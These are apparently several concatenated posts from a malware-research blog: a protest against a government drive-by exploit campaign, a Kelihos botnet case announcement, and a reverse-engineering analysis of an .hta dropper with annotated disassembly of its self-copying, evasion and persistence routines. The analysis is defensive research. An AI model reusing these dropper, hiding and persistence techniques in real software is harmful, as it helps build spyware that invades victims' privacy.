Ahahaha! Everyone knows I am NO QUITTER. You don't know me THAT well! This is a matter of what's RIGHT and what's WRONG. The worst part is, maybe samples and malcodes we snagged and shared to US governments were being used too to make that "legitimated" malware. America is the country built from good conscious, at least that was I truly believe, I guess I was very wrong.. My faith on what US can do to conduct RIGHT thing and WRONG thing in IT security and internet security had broken badly now.
Damn. "Unless something will be done accordingly in US's side ... this will be my last post in internet as malwaremustdie." @MalwareMustDie
And that isn't doing any greater good for us. BTW.. Want us to keep on VOLUNTEERING work hard?? Well.. we have some conditions like: KEEP THE F** FAITH THEN!! We can still make a good fight without infecting innocent people and act like a crook! So STOP USING MALWARE!! REVOKE THAT IDIOTIC SEARCH WARRANT!! What's the matter with you guys!! Wake up America!! Geez!
@MalwareMustDie Don't you think it's a bit too much drama atm..?
Nope! It is a PROTEST, not drama. They're using driven-by-download "malware" to mass infecting visitor's PC of a site now, Sir. I drew a clear red line for that matter, and they just crossed it. We're doing MMD for raising the world's awareness for people to be protected of malware, to fight it together, and in our back a government was opening warrant to "an indecent malware OP" executed, so now we have to oppose a government's mass malware too, it is just way out of line now.. Now I know WHY some people JUST DON'T WANT malware to be ended. Ask anyone else to do the "charity analysis work" for the threat that MOSTLY attacking THAT country, and ask anyone else to feed THAT COUNTRY with malware codes then! I am out!
@MalwareMustDie You can protest the US and not leave the scene at the same time
..as per US "can" revoke that warrant and doing as what good guys supposed do without using malicious driven-by-download that was "framed" in public accessed suspicious sites (I consider TOR and THAT .onion SITE as public visitable sites) and blindly mass infecting the innocent users. They can have their decision, I can decide mine too.
If ONE country start to play "anarchy" in internet and thinks that they own internet and can do whatever they want, like infecting people with malware, so let THAT COUNTRY clean up all of malware shits themself then, WITHOUT US! It's their internet after all, isn't it?
I had no plan on quitting, in fact there are at least 3 events I planned to attends & being as speaker. Why should I make THIS or "Snowden buff" as excuses for quitting? FYI, if I want, my sickness would be a perfect reason to quit if I wanted to yet I never use it at all, and I bet you haven't heard that too isn't it?
I don't care about Snowden and mass espionage he disclosed. But I care about THIS CASE since it is about legitimizing a malware that actually mass-infected a public network..just to aim some crooks. Ask to yourself now: What would people say if ..say...MMD hacks GMail server just to aim several malware moronz that is currently using GMail?
Look, we are good guys, and good guys are supposed to work in good ways. Look at us (MalwareMustDie/MMD), MMD works under the law, and that LAW which was supposed to be built from conscious of RIGHT and WRONG. The technique used in "THAT malware" is definitely against moral and privacy aspects we all have, there is no way you can control the visitor of a public accessible site and there's no doubt that innocent victims were harmed (read: infected) and their privacy were violated too. Want to argue more about this? Should I disclosed some codes then??
There are SO MANY ways without using malware to trace the bad tor users, and I believe Tor Project folks will always cooperate to law enforcement. Why the LAW enforcer should use technique that is commonly used to break the LAW itself? Since when we started to allow Government uses malware?? Who says THAT IS OK?? Does US Congress know about this matter and approve this??? Because I am telling you all this method won't give ANY good merit to USA.
KEEP THE FAITH!! There are good people who is sacrificing after work hours by doing something good and having these FAITH, why government can't have the some faith??
@MalwareMustDie Aren't these the types of attacks the FBI is suppose to be protecting us from?
I can answer this question practically, principally and morally speaking:
PRACTICALLY: How can we know that? It was mentioned THAT COUNTRY's LE was nailing ID of some crooks by the information gatherted during the infection by this method, meaning, the infection was applied, the information was gathered, the malware codes was implelented as hidden frame in public site which having possibility to be visited by innocent INTERNATIONAL users too (via redirection etc), so, it is logically all infected innocent people's privacy info are also in the hand of FBI. Do we have some kind of NDA about this with FBI somehow? Hell NO! This is a strictly privacy violation made by a one-sided country's law against INTERNATIONAL people!
PRINCIPALLY: (1)Infected a site with malcodes, (2) driven-by-download, (3) mass-infecting visitor of some sites, (4)gathering sensitive information, and (5)send those back to the CNC , are the definition of malicious infection method that we all fight EVERYDAY. If the law legalized this EVIL method for whatever reason they presented with that "Search Warrant", this means bad methods are becoming legit to be used for LE to nail a crook. FYI, I consulted with my lawyer and it was confirmed that warrant CAN BE USED for "using the same method" in many cases too. So now, we will have bad people using malware, and good people using malware, the things that we would love to end.
MORALLY: Do good people in order to nail a JERK have to be a JERK too by adapting the JERK's way to conduct stuff? Malware method is NEVER designed to support ANY goodness, all of malware basic concept are made and meant to: steal, spy, overpower, and destroy concepts.. I don't buy that "Using malware we can make a better world!!" buff! As good guys we should conduct our act WITH FAITH. NOTED: Using MALWARE is not the only option left for tracing Tor users. Many good researchers know and doing that in daily basis in proper ethical hacking way, why LE should use MALWARE?? This is just about a matter of Power Play for me. A lousy Show Off! USA can start loosing MORE friends for this, starting from ME.
@MalwareMustDie has sided against state sponsored malware. :D
We against the usage of malware by anyone, to whatever target, for whatever purpose! Every malware is naturally designed to infect, steal, spy, manipulate, attack or destructive purpose, that is why it was called MAL-WARE = MALICIOS SOFTWARE. There is nothing good that can come up by using malware, it may harm innocent people by: compromising the privacy information, destruction to your data, or worse than that.. There is no excuse to legitimate the usage of malware by blah blah reasons, and IT IS WRONG to evade the multinational people's privacy by infecting malware to thousands of PC to innocent users just to get 12 ID of crooks!! I still wonder why US Congress was allowing this miserable incompetent method to fight the crime!! We don't have to be a JERK to catch a JERK!! Read our blog, is there any of our MMD post is containing illegal method?? NO! We can nail many BAD stuff by Ethical Hacking method, why can't you??
@MalwareMustDie It is an "easy to agree with" blogpost, but imo you shouldn't go politics, instead go on killing malware, even the fbi one.
You damn right! We'll start to peel this crap first, then MAYBE we can call it even. Enough talking, let's start walking. I promise that MMD will aways be every malware-users' worst nightmare!
Sir. We do VALUE every effort we do, that's why we are protesting this. How we can SUPPRESS the usage of malware IF the country's that developed internet is allowing the usage of it, by a mere "regular search warrants from a district court"? They don't think of multinational right exists or what?? We are in purpose using Tor for PRIVACY and the FBI thinks they can ruined it ANYTIME by getting a regular search warrant..
We don't do our research for mere CHARITY. Let's simplify, what's WRONG just stay WRONG, there is no justification for it. No one can predict exactly what malware will run, malware is MAL-icious by its nature and name, using it in multinational sites for ANY purpose is just irresponsible OR disrespectful act to others. Who the FUCK was allowing the FBI in getting NON-AMERICAN IP's INFO in Tor? I didn't recall signing any NDA to let them do that too, not even in Tor Project SLA!
A bad misinterpretation of our protest:
@paperghost says who that the post is for govt agencies? You missed the point.
As you can see in the analysis above, the malicious hidden IFRAME redirector driven by javascript, which are implemented in some pages under the Freedom Hosting site, is redirecting users matching to criteria Wndows OS and Firefox browser to the specific .onion domain to exploit 0day CVE-2013-1690 and executing shellcode as the payload. The shellcode is sending ARP to the remote host followed by HTTP/1.1 GET to a host in USA that has no specific registered organization listed (ghost block IP), with the below trace:
65.222.202.54 ASN: 701 / UUNET Prefix: 65.192.0.0/11 Vienna, Virginia, United States, North America 38.9012,-77.2653 Verizon Business
It's beyond any doubt now that sensitive information (READ: PRIVACY): (1) Infected PC hostname, (2) MacAddress (attached in ARP packet) and (3) IP address is sent to this remote host. Not to mention (4) the cookie which was installed in infected PC can be use for tracking purpose. Below is the evidence of the traffic capture snapshot.
Sunday, February 16th 2014, on the presentation on AV Tokyo 2013.5, a prestigious security event in Japan (link), we (read: MalwareMustDie, an NPO of Anti Cyber Crime International Research Group) announced the connection between several Cyber Crime actions (malicious abuse of computer exploitation and credential with the usage of malware) of: CookieBomb (IFRAME from the "North") infection (link), Kelihos Botnet infection (link), Spam that lead to malware infection / Malvertisement (link), and the usage of malicious exploitation tool as RedKit/Goon/Infinity for malware infection (link), which is causing series of abusive accusation against the Japan National Cyber Space & Networking Jurisdiction under the following security violation verdicts:
(1) Remote hack on personal computers of national individual/entities (2) Stealing of credential and privacy property of national individual/entities (3) 30,000+ malicious code injection by web hacking to national service infrastructure (4) Abuse utilization of national computers to distribute malware worldwide.
The presentation video (censored):
The crime, which is currently still in progress for a significant long time with the incremental trend on damage-quantity upon the verdicts stated above, was proven by submitting all of investigation fact and evidence that lead to a One Russia Federation Citizen Individual Crime Suspect (link), where the detail of actor's identification was "beyond any doubt" announced in front of Japan national IT security community, was followed by officially filing all investigation material on category of: National Cyber Crime Abuse and Act of Terrorism aganist National Network, reported to the National Police Agency, Japan - Cyber Force Center, High-Tech Crime Technology Division - Cyber Terror Incident Handling Unit (link). With notifying Information-technology Promotion Agency - Japan (link), JP-CERT/CC (link), Interpol Digital Crime Investigation Support, Europol EC3 (link), and Anti-Phishing Working Group (link), and several European law enforcement agencies related, with witnessed by important national security top-notch researchers.
The fact that has been collected over the investigation time frame, and the unbearable raise of casualty on damage of the crime in progress on the Japan national computer infrastructure was clearly presented to the national security community attendants in the event, and it was urged to raise the serious national security issue against the malicious act of a Russia Federation Individual Citizen (link) who is still performing his daily basis crime activity in abusing Japan national network.
We hope to raise an official request for cooperation from Japan law enforcement to Russia Federation law enforcement to conduct a firm act to stop this crime and terror effort for good. The further delay action from law in Russia Federation against the positive confirmed individual suspect will only prolong the unnecessary damage on victims in Japan soil, not to mention to other countries that has been victimized like Taiwan, India, Ukraine, Georgia, Poland and Russia Federation's victim itself as the top hit of the threat, or, to other countries in Europe that has been abused and used as control center server of this malware activity.
To be noted, Kelihos Botnet infection itself is also spotted infiltrating United States personal computer dial up infrastructure, and the investigation information of the threat with its activity relation to the a notorios spammer (link) and the similarity in identification also was reported accordingly to Federal Bureau of Investigation in United States, which hoping FBI to consider to re-open the legal case against Petr Severa (link) and (link). To all victimized countries of the same threat, we urge you to do the same procedure like we are conducting here in Japan via filing official crime report to be followed and escalated properly by your law enforcement to the Russia Federation law enforcement.
MalwareMustDie,NPO and partners in investigation were in this operation since August 2013, the real identification of the bad actor was revealed in September, 2013 with the collaboration of our crime investigation partner in Russia Federation, GroupIB (link), who was informing us for filing the case to the Russia Federation law enforcement on October, 2013. We revealed the weakness of the botnet in BotConf 2013, December 5th, 2013 in Nantes, France. With as proof of concept in stopping the malware payload and positive ID the CNC owner we did the "takedown" on most of Kelihos botnet CNC between December 1-3, 2013.
This is a team work analysis, we have at least 5 (five) members involved with this investigation. The case that is about to be explained here is an APT case. Until now, we were (actually) avoiding APT cases for publicity in Malware Must Die! posts. But due to recent progress in "public privacy violation or power-abuse/bullying" malware cases, we improved our policy, so for several cases fit to "a certain condition", i.e. malware developed by "powerful actors with budget" aiming weak victims including the APT method, or, intimidation for public privacy cases using a crafted-malware, are going to be disclosed and reported here "ala MMD", along w/public criminal threat too. So don't use malware if you don't want to look BAD :-)
This case is NOT a new threat, for the background this threat was written in the Infosec Island blog, written by By Eva Galperin and Morgan Marquis-Boire in the good report of article: "Vietnamese Malware Gets Very Personal" which is posted several months ago, access is in here-->[LINK], the post was very well written as heads up for this threat. Also, there are similar article supported to this threat and worth reading beforehand like:
You can consider this post is made as additional for the previous writings, to disclose deeper of what public and the victims actually SHOULD know in-depth about the malicious activity detail, that is performed by this malware. To be more preventive in the future for the similar attack that is possibly occurred.
We suspect a group with good budget is in behind of this malware, aiming and bullying privacy of specific individuals who against one country's political method. In a glimpse, the malware, which is trying hard to look like a common-threat, looks like a simple backdoor & connecting/sending some stuffs to CNC. But if you see it closely to the way it works, you will be amazed of the technique used to fulfill its purpose, and SPYING is the right word for that purpose.
The sample we analyzed in this post was received from the victims side, we picked the one file called "Thu moi.7z" which contains the "Thu moi.hta" snipped below: ..which was reported as the latest of this series.
From the surface, if "Thu moi.hta" file is being executed (double clicked), it will extract (drop) and opening a Microsoft Word DOC file, to camouflage the victim to make them believe that they are opening an archived document file, while what had actually happened is, in the background a series of infection activities happened in the victim's PC.
Malware installer scheme
How the file was extracted from "Thu moi.hta" is by utilizing a simple embedded VB Script, you can see it started in the line 307 (of that .hta sample file) as per shown below in any text editor you pick: At the starting part of this script. you can see three points was used to camouflage, which are : (1) The usage of the long white space to cover the evil script start tag from the eye-sight, (2) the effort to minimize the "window" for the shell used to run this evil VB Script, and (3) the effort to NOT showing the window taskbar during the script running.
I will try to peel the evil script used, with the explanation I commented within the lines, as per below:
So, the script was design to keep on running in any run time error. You will meet the function forming the randomized strings for an "exe" filename. You can see how this script generate the "random seed" to be used for randomizing the strings used for filename, and how it merged filename with the ".exe" extension afterwards. Then the script is obfuscating the WScript's (the Windows OS interpreter engine for running a VB Script) commands to form an object of file system, and the shell for execution a windows command/executable file(s).
The line 48 & 49 of the script is to declare the file object & shell mentioned above in the variable "os" and "ws". And following by defining the windows temporary folder as file's path added by the function's generated randomized name as filename+extension. To make sure of what these variables generated values, I am using break points formed by Wscript.Echo trick to burp its value in a pop-up.
The VB Script is creating the EXE file as per previously described above, declared it as an object "p1". Then you can see blob of binary codes to be written as HEX to form a file, by using the combination of commands in VB script. This method is commonly used as technique to write a malware binary in VB Script. But this one is a well-thought one.
The next lines is explaining the same method used for HEX file-writing. Yes, it wrote another file, and declaring it as object "p", but this one is using the static variable name "Doc Loi.doc" which is using the %Temp% path too (noted: GetSpecialFolder(x) where x=2 means %Temp%).
Here's the punchline, the last part of codes (lines 116 and 117) you will see the script is performing execution of object "p" (the .doc file) and without waiting it just run the "p1" (the .exe malware).
We recheck the run result of any decoding method we did. In this case I just commented the line 116 and 117 and..as per expected, this script runs and minimizing the window w/o taskbar title: And it creates those two files (before execution). I run it many times for fun..NO!" ..for "analysis" (Uhm!), so I can extract randomized injected files to check is it polymorphic or not (and..of course..it is not, NOT with this plain Hex writing crap).
Further, we also formed the binary file-injecting itself from hex-strings directly from the script as per snipped below, to study the possibility of a miss-writing that can happened during forming the PE extraction, the test was done with the same result. A snip of scratch used (thanks to MMD DE team): We also check bit-by-bit to make sure which samples belong to which installers, since this malware looks hit some victims / more than one time.
So what does this ".exe" malware do?
Polymorphic self-copy & new process spawner
I picked the .exe file dropped by this .hta installer with the MD5 hash f38d0fb4f1ac3571f07006fb85130a0d, this malware was uploaded to VT about 7 months ago.
The malware is the one was dropped by the installer, you can see the same last bits before blobs of "00" hex were written in the malware binary as per snipped and red-marked color in the VB script mentioned in the previous section:
This binary is having an interesting functionality. There's so much to write from it..but I will go to important highlights, or this post is going to be a book. Among all usual malicious tricks for evasion &"reverse/debug checking" tricks used, it was designed to detect the way it was called. When it was initially executed as the form of the dropped .exe from the .hta installer it will delete the original file and rewrite itself to the %Temp% folder using the random Hex-filename with ".tmp" extension, below is the partial writing codes snipped for it: The self-copied files are polymorphic, below some PoC, one AV evasion detection designed:
Size Exec Date Filename MD5 ------------------------------------------------------------- 438272 Aug 23 01:28 10.tmp* 577237bfd9c40e7419d27b7b884f95d3 438272 Aug 23 07:22 17.tmp* 9451a18db0c70960ace7d714ac0bc2d2 438272 Aug 23 07:36 18.tmp* 53d57a45d1b05dce56dd139fc985c55e 438272 Aug 23 07:39 19.tmp* 387321416ed21f31ab497a774663b400 438272 Aug 23 07:43 1A.tmp* 0a65ecc21f16797594c53b1423749909 438272 Aug 23 07:44 1B.tmp* 91a49ed76f52d5b6921f783748edab01 438272 Aug 23 07:44 1C.tmp* f89571efe231f9a05f9288db84dcb006 438272 Aug 23 07:45 1D.tmp* 7ca95b52ed43d71e2d6a3bc2543b4ee1 438272 Aug 23 07:46 1E.tmp* faec9c62f091dc2163a38867c28c224d 438272 Aug 23 07:47 1F.tmp* 4b02063c848181e3e846b59cbb6b3a46 438272 Aug 23 08:14 20.tmp* 5c8f2f581f75beff1316eee0b5eb5f6d 438272 Aug 23 01:19 F.tmp* b466cb01558101d934673f56067f63aa : :
It'll then create the process (with the command line API), which will be executed at the function reversed below, I commented important flow used below, pls bear the length, just please scroll down to skip these assembly explanation (unless you interest to know how it works):
0x40BF20 sub_40BF20 proc near 0x40BF20 0x40BF20 StartupInfo= _STARTUPINFOW ptr -8508h 0x40BF20 ProcessInformation= _PROCESS_INFORMATION ptr -84C4h 0x40BF20 var_84B4= dword ptr -84B4h 0x40BF20 CommandLine= word ptr -84B0h 0x40BF20 FileName= word ptr -4B0h 0x40BF20 ApplicationName= dword ptr -2A8h 0x40BF20 var_A0= dword ptr -0A0h 0x40BF20 var_1C= dword ptr -1Ch 0x40BF20 var_18= dword ptr -18h 0x40BF20 var_10= dword ptr -10h 0x40BF20 var_8= dword ptr -8 0x40BF20 var_4= dword ptr -4 0x40BF20 arg_8= dword ptr 10h 0x40BF20 0x40BF20 push ebp 0x40BF21 mov ebp, esp 0x40BF23 push 0FFFFFFFEh 0x40BF25 push offset unk_4284D0 0x40BF2A push offset sub_416480 0x40BF2F mov eax, large fs:0 0x40BF35 push eax 0x40BF36 sub esp, 8 ; Integer Subtraction 0x40BF39 mov eax, 84F0h 0x40BF3E call sub_4207F0 ; Call Procedure 0x40BF43 mov eax, dword_42A520 0x40BF48 xor [ebp+var_8], eax ; Logical Exclusive OR 0x40BF4B xor eax, ebp ; Logical Exclusive OR 0x40BF4D mov [ebp+var_1C], eax 0x40BF50 push ebx 0x40BF51 push esi 0x40BF52 push edi 0x40BF53 push eax 0x40BF54 lea eax, [ebp+var_10] ; Load Effective Address 0x40BF57 mov large fs:0, eax 0x40BF5D mov [ebp+var_18], esp 0x40BF60 mov esi, [ebp+arg_8] 0x40BF63 xor ebx, ebx ; Logical Exclusive OR 0x40BF65 push ebx ; reserved register (pvReserved) PS: MUST BE NULL! 0x40BF66 call ds:CoInitialize ; CoInitialize@OLE32.DLL (Import, LPVOID, pvReserved) 0x40BF6C mov [ebp+var_4], ebx ; Initializes the COM lib is executed here 0x40BF6F push 6 ; push 0x06h 0x40BF71 push offset aHelp ; is a UTF-16 "--help" for params 0x40BF76 push esi 0x40BF77 call sub_41196F ; bottom line: function in sub_41A360, comp & add chars 0x40BF7C add esp, 0Ch ; Add 0x40BF7F test eax, eax ; Logical Compare 0x40BF81 jz loc_40C13E ; Jump if Zero (ZF=1) TO Sleep & Exit : 0x40BF87 call sub_409740 ; point is control svc manager, grab db (info) 0x40BF8C xor eax, eax ; Logical Exclusive OR 0x40BF8E mov [ebp+FileName], ax 0x40BF95 push 206h 0x40BF9A push ebx 0x40BF9B lea ecx, [ebp-4AEh] ; Load Effective Address ECX w/Filename 0x40BFA1 push ecx 0x40BFA2 call sub_412510 ; check+strings operation (XOR, shift right) 0x40BFA7 add esp, 0Ch ; 12 (0x0c) has to be added to the stack 0x40BFAA push 104h ; nSize 0x40BFAF lea edx, [ebp+FileName] ; Load Effective Address 0x40BFB5 push edx ; lpFilename 0x40BFB6 push ebx ; hModule 0x40BFB7 call ds:GetModuleFileNameW ; grab this process filename 0x40BFBD test eax, eax ; cleanup EAX for jmp 0x40BFBF jz loc_40C15D ; Jump if Zero (ZF=1) : 0x40BFC5 xor eax, eax ; Logical Exclusive OR 0x40BFC7 mov word ptr [ebp+ApplicationName], ax 0x40BFCE push 206h 0x40BFD3 push ebx 0x40BFD4 lea ecx, [ebp+ApplicationName+2] ; Load Effective Address, this appname 0x40BFDA push ecx ; pushing appname to the stack 0x40BFDB call sub_412510 ; check+strings operation (XOR, shift right) 0x40BFE0 add esp, 0Ch ; 12 (0x0c) has to be added to the stack 0x40BFE3 lea edx, [ebp+ApplicationName] ; Load Effective Address 0x40BFE9 push edx ; push lpBuffer 0x40BFEA push 104h ; and its length (nBufferLength) 0x40BFEF call ds:GetTempPathW ; grab %Temp% 0x40BFF5 test eax, eax ; cleanup EAX for jmp 0x40BFF7 jz loc_40C15D ; Jump if Zero (ZF=1) : 0x40BFFD lea eax, [ebp+ApplicationName] ; Load Effective Address 0x40C003 push eax ; lpTempFileName 0x40C004 push ebx ; uUnique 0x40C005 push ebx ; lpPrefixString 0x40C006 mov ecx, eax 0x40C008 push ecx ; lpPathName / push Path.. 0x40C009 call ds:GetTempFileNameW ; grab %Temp%+%Filename% 0x40C00F test eax, eax ; cleanup EAX for jmp 0x40C011 jz loc_40C15D ; Jump if Zero (ZF=1) : 0x40C017 call sub_4079C0 ; To CryptAcquireContextW..CryptRelease OP. 0x40C01C test eax, eax ; cleanup EAX for jmp 0x40C01E jz loc_40C15D ; Jump if Zero (ZF=1) : 0x40C024 mov byte ptr [ebp+var_A0], bl ; reserved pointer 0x40C02A push 80h ; push WritePrivateProfileString to stack 0x40C02F push ebx ; push lpPrefixString to stack 0x40C030 lea edx, [ebp+var_A0+1] ; load rsv pointer address 0x40C036 push edx ; push rsv pointer to stack 0x40C037 call sub_412510 ; check+strings operation (XOR, shift right) 0x40C03C add esp, 0Ch ; 12 (0x0c) has to be added to the stack 0x40C03F mov [ebp+var_84B4], 81h ; EBP to WritePrivateProfileString 0x40C049 lea edx, [ebp+var_84B4] ; load EBP 0x40C04F lea eax, [ebp+var_A0] ; load EAX 0x40C055 call sub_40A300 ; to fnc OP Shift right+4 etc.. 0x40C05A test eax, eax ; cleanup EAX for jmp 0x40C05C jz loc_40C15D ; Jump if Zero (ZF=1) : 0x40C07B xor eax, eax ; cleanup EAX 0x40C07D mov [ebp+CommandLine], ax ; prep exec/command line 0x40C084 push 7FFEh 0x40C089 push ebx ; push lpPrefixString 0x40C08A lea ecx, [ebp-84AEh] ; Load eff addr of ECX 0x40C090 push ecx ; push into stack 0x40C091 call sub_412510 ; check+strings operation (XOR, shift right) 0x40C096 lea edx, [ebp+var_A0] ; load eff addr lpFileName 0x40C09C push edx ; psh lpFileName to stack 0x40C09D lea eax, [ebp+FileName] ; load eff addr fur filename 0x40C0A3 push eax ; push into stack 0x40C0A4 lea ecx, [ebp+ApplicationName] ; load eff addr appname 0x40C0AA push ecx ; push appname to stack 0x40C0AB push offset aSHelpSS ; get "\"%s\" --help%s\t%S" command executed template into stack ; sttarted from the above written path/filename, this file's path+name ; and %S strings from encryption result 0x40C0B0 push 4000h 0x40C0B5 lea edx, [ebp+CommandLine] ; load eff addr exec/cmd line 0x40C0BB push edx ; push cmd/exec to stack 0x40C0BC call sub_411448 ; goto 0x0410A42, obfuscation 0x40C0C1 mov [ebp+StartupInfo.cb], ebx ; transfer the startup info 0x40C0C7 push 40h ; AccessResource 0x40C0C9 push ebx ; push to stack 0x40C0CA lea eax, [ebp+StartupInfo.lpReserved] ; load eff addr for StartupInfo+IpReserved 0x40C0D0 push eax ; push that into stack 0x40C0D1 call sub_412510 ; deobfuscation shif -1 is here 0x40C0D6 add esp, 30h ; Add ESP w/30h 0x40C0D9 mov [ebp+StartupInfo.cb], 44h ; transfer startups to EBP 0x40C0E3 xor ecx, ecx ; cleanup ECX 0x40C0E5 mov [ebp+StartupInfo.wShowWindow], cx ; forming startups info here.. 0x40C0EC mov [ebp+StartupInfo.dwFlags], 1 0x40C0F6 mov [ebp+ProcessInformation.hProcess], ebx 0x40C0FC xor eax, eax ; cleanup prep EAX 0x40C0FE mov [ebp+ProcessInformation.hThread], eax ; forming process-info here.. 0x40C104 mov [ebp+ProcessInformation.dwProcessId], eax 0x40C10A mov [ebp+ProcessInformation.dwThreadId], eax 0x40C110 lea edx, [ebp+ProcessInformation] ; Load Effective Address 0x40C116 push edx ; Push all info to stack as lpProcessInformation 0x40C117 lea eax, [ebp+StartupInfo] ; assemble startinfo into EAX 0x40C11D push eax ; lpStartupInfo 0x40C11E push ebx ; lpCurrentDirectory 0x40C11F push ebx ; lpEnvironment 0x40C120 push 8000000h ; dwCreationFlags 0x40C125 push ebx ; bInheritHandles 0x40C126 push ebx ; lpThreadAttributes 0x40C127 push ebx ; lpProcessAttributes 0x40C128 lea ecx, [ebp+CommandLine] ; startupinfo+cmd 0x40C12E push ecx ; lpCommandLine 0x40C12F lea edx, [ebp+ApplicationName] ; process info loaded 0x40C135 push edx ; lpApplicationName pushed to stack 0x40C136 call ds:CreateProcessW ; stdcall to start process w/flags 0x40C13C jmp short loc_40C15D
if the .hta dropped malware named "sample.exe", new process will be started by launching command line contains parameters described below:
And this malware will end its process here, raising new process that has just been executed..
More drops & payload installation
The process RANDOM[0-9A-F]{1,2}.tmp started by allocated memory, loading rpcss.dll, uxtheme.dll, MSCTF.dll before it self deleting the dropper .exe. The snip code for the deletion is as per below, this isn't also an easy operation, it checks whether the file is really there, if not it makes sure it is there..
0x40A648 push edi ; push pszPath into stack 0x40A649 call ds:PathFileExistsW ; get the path : 0x40A657 push 0Ah ; lpType 0x40A659 push 65h ; lpName 0x40A65B push ebx ; hModule (for the FindResourceW) 0x40A65C call ds:FindResourceW ; Indirect Call to get resouce 0x40A662 mov esi, eax ; feed esi w/eax 0x40A664 cmp esi, ebx ; condition to check if ESI contains file data 0x40A666 jz loc_0x40A7CB ; then goto file deletion below: : 0x40A7CB loc_0x40A7CB: ; lpFileName 0x40A7CB push edi ; push path+filename to stack 0x40A7CC call ds:DeleteFileW ; call API DeleteFileW@KERNEL32.DLL (Import, 1 Params) 0x40A7D2 mov [ebp+var_18], 1 ; Execution, note: mov dword ptr [ebp-18h], 0x01h
;; ..OR fill the ESI and make sure it was executed..
..up to this point I know that we're dealing with a tailored-made malware.
Back to the highlights, RANDOM[0-9A-F]{1,2}.tmp executed with the right condition will drop payloads of this threat, the first drop is the real deal payload, following by the second drop as the its driver. The file creation of first payload is handled in function 0x41FC90, with the related snip below:
And the writing this file is written in function 0x418EC2 after deobfuscating data part, as per snipped here:
0x418FB9 mov eax, [eax+6Ch] 0x418FBC xor ecx, ecx ; cleanup ECX 0x418FBE cmp [eax+14h], ecx ; Compare Two Operands 0x418FC1 lea eax, [ebp+CodePage] ; Load Effective Address 0x418FC7 setz cl ; Set Byte if Zero (ZF=1) 0x418FCA push eax ; lpMode 0x418FCB mov eax, [ebx] 0x418FCD push dword ptr [edi+eax] ; hConsoleHandle, val=0x01(write) 0x418FD0 mov esi, ecx 0x418FD2 call ds:GetConsoleMode ; in this case is output mode console screen buffer. : (etc etc) 0x4194F0 push ecx ; lpOverlapped 0x4194F1 lea ecx, [ebp+var_1AD8] ; load eff addr lpNumberOfBytesWritten 0x4194F7 push ecx ; push lpNumberOfBytesWritten to stack 0x4194F8 push [ebp+nNumberOfBytesToWrite] ; length, value (dec) 4,096 why?? 0x4194FB push [ebp+lpBuffer] ; lpBuffer 0x419501 push dword ptr [eax+edi] ; hFile (the defrag.exe) 0x419504 call ds:WriteFile ; Indirect Call Near Procedure 0x41950A test eax, eax ; Execution to write... 0x41950C jz short loc_0x419523 ; Jump if Zero (ZF=1) : 0x419523 call ds:GetLastError 0x419529 mov dword ptr [ebp+WideCharStr],
we recorded this drop operation in the forensics way too, as per below as evidence: As you can see the wiring method is in redundancy per 4096 bytes.
This first drop called defrag.exe looks pretty much like Windows harddisk defragmentation tool, down to its property, a perfectly crafted evil file:
Only by using good analysis binary static analysis tool like PEStudio (maker: Marc Oschenmeier), we can spot and focus investigation to the badness indicators right away:
@MalwareMustDie Thx for using PEStudio for your investigation. In that case, PEStudio indicating that the image is a fake Microsoft EXE! :-)
The next drop is the next task of this binary, noted that none of these drops were fetched from internet instead the data is already included in .hta or .[random].exe or [random.tmp]. Using the exactly the same functions described above, 0x41FC90 for creation and 0x418EC2 for writing, the second drop operation were also performed. The file name is formed as per below strings:
"%USERPROFILE%\AppData\Identities\{RANDOM-ID}\disk1.img" like: "C:\Documents and Settings\MMD\Application Data\Identities\{116380ff-9f6a-4a90-9319-89ee4f513542}\disk1.img"
the forensics PoC is: This file is actually a DLL file, here's some peframe:
File Name: disk1.img PE32 executable for MS Windows (DLL) (GUI) Intel 80386 32-bit File Size: 249344 byte Compile Time: 2010-08-14 17:16:08 "DLL: True" Entry Point: 0x0001BBD1 Sections: 4 MD5 hash: 62646ea0a4ce1e6d955cbaef8c4a510d SHA-1 hash: 10116a65e19a7ebc6702250cc1caabf755ce8e7f Anti Debug: Yes Anti VM: None
And Virus Total showing the good infection info:
First submission 2013-03-11 10:38:19 UTC ( 1 year, 5 months ago ) Last submission 2014-01-21 12:49:00 UTC ( 7 months ago ) File names disk1.dl, disk1.img
This file is then performing registry query and writing operations, I will skip some assembly for this, so shortly, these are the 8 keys added, below data I snip from forensics result:
We can see the autostart, and the way it camouflage malicious data in registry using legit scattered softwares and Windows components. Like: Auslogic (RecoveryDataStore), Photo Viewer, Disk Defragment Module, Microsoft Remote Assitance. This all means to hide and prevent the quick notice of this malware in the infected PC, it is a well thought plan. To be noted that one of the key is used to run the defrag.exe execution via ShellExecuteW by the [Random].tmp file, and also you can see the "key" used for this malware saved, one last thing to be noticed is the the bot ID used.
PS: There are also more drops made which are the Windows task installer for this malware
We have good decoder team in MMD. Soon these data were translated as per below: When these data formed in the functions where they were called, we will have better idea of WHY these strings were obfuscated. This time we will take a look at the dump analysis in disassembly, to seek the executed code parts only:
;;Loads a malicious DLL "1d5f2cc.dll" (later on known as disk1.img))
I go back to the binary for understanding the related functions, which is in 0x4027F0. I was wondering of what is the part of wscript.exe (not again!??) mentioned by this binary. So I trailed the path of the wscript.exe starting here, assumed that the Windows architecture is x64:
0x40286E call sub_408720 ; Check to fill ECX w/Quad deobfs 0x402873 add esp, 0Ch ; reserve ESP w/version info 0x402876 call ds:GetVersion ; Get current version number of Windows 0x402876 ; and information about the operating system platform 0x40287C mov esi, ds:lstrcpyW 0x402882 push offset aTztxpx75Xtdsjq <== Push: "tztxpx75]xtdsjqu/fyf" to stack 0x402882 ; Decoded: "syswow64\wscript.exe" 0x402887 lea eax, [esp+694h+pMore] ; load EAX 0x40288B push eax ; lpString1 (push this to the stack) 0x40288C call esi ; lstrcpyW ; Indirect Call Near Procedure 0x40288E mov dx, [esp+690h+pMore] 0x402893 xor edi, edi ; Cleanup EDI 0x402895 xor ecx, ecx ; Clenup ECX 0x402897 movzx eax, dx ; trail of [esp+69Ch+CommandLine] 0x40289A cmp di, dx ; A check to goto Appname/path
then found the binary wscript.exe is executed in this part:
So we have the wscript.exe process up and running.
Up to this part our teammate poke me in DM, and he asked me what can he helped, so I asked our friend (Mr. Raashid Bhat) to take over the further analysis of this defrag.exe and disk1.img, while I went to other parts, and after a while he came up straight forward with (1) decoder logic, which is match to our crack team did: And (2) the conclusion of what "defrag.exe" is actually doing, is a loader which patches the executed wsscript.exe's ExitProcess to load the DLL "disk1.img"....Well, it's all starts to make more sense now.
Checking the reported data. I confirmed to find the "process was read" from here:
